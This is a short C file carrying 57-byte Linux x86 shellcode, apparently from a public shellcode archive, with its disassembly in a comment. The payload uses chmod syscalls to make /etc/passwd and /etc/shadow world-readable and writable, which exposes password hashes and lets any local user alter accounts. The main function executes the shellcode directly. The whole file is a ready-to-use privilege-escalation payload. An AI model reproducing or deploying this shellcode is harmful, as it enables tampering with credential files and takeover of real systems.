/* Title: Linux x86 chmod 666 /etc/passwd & /etc/shadow - 57 bytes Author: Jean Pascal Pereira <[email protected]> Web: http://0xffe4.org Disassembly of section .text: 08048060 <_start>: 8048060: 31 c0 xor %eax,%eax 8048062: 66 b9 b6 01 mov $0x1b6,%cx 8048066: 50 push %eax 8048067: 68 73 73 77 64 push $0x64777373 804806c: 68 2f 2f 70 61 push $0x61702f2f 8048071: 68 2f 65 74 63 push $0x6374652f 8048076: 89 e3 mov %esp,%ebx 8048078: b0 0f mov $0xf,%al 804807a: cd 80 int $0x80 804807c: 31 c0 xor %eax,%eax 804807e: 50 push %eax 804807f: 68 61 64 6f 77 push $0x776f6461 8048084: 68 2f 2f 73 68 push $0x68732f2f 8048089: 68 2f 65 74 63 push $0x6374652f 804808e: 89 e3 mov %esp,%ebx 8048090: b0 0f mov $0xf,%al 8048092: cd 80 int $0x80 8048094: 31 c0 xor %eax,%eax 8048096: 40 inc %eax 8048097: cd 80 int $0x80 */ #include <stdio.h> char shellcode[] = "\x31\xc0\x66\xb9\xb6\x01\x50\x68\x73\x73\x77\x64" "\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe3" "\xb0\x0f\xcd\x80\x31\xc0\x50\x68\x61\x64\x6f\x77" "\x68\x2f\x2f\x73\x68\x68\x2f\x65\x74\x63\x89\xe3" "\xb0\x0f\xcd\x80\x31\xc0\x40\xcd\x80"; int main() { fprintf(stdout,"Lenght: %d\n",strlen(shellcode)); (*(void (*)()) shellcode)(); }